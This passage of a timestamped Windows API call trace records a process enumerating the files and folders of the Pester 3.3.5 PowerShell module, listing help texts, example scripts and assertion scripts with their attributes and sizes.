ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.414] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0269.415] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0269.415] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0269.415] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510bc884, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0269.415] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0269.415] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0269.415] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0269.415] GetProcessHeap () returned 0xc10000 [0269.415] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.416] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Examples", cAlternateFileName="")) returned 1 [0269.416] GetProcessHeap () returned 0xc10000 [0269.416] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0269.416] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.416] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0269.416] GetProcessHeap () returned 0xc10000 [0269.417] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0269.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0269.418] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.418] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0269.418] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0269.418] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0269.418] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0269.418] GetProcessHeap () returned 0xc10000 [0269.418] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0269.418] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0269.418] GetProcessHeap () returned 0xc10000 [0269.418] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0269.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0269.419] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.419] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0269.419] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0269.419] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0269.419] GetProcessHeap () returned 0xc10000 [0269.419] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0269.419] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0269.419] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0269.419] GetProcessHeap () returned 0xc10000 [0269.419] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.419] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0269.419] GetProcessHeap () returned 0xc10000 [0269.419] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0269.454] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.454] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0269.454] GetProcessHeap () returned 0xc10000 [0269.454] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0269.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0269.467] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, 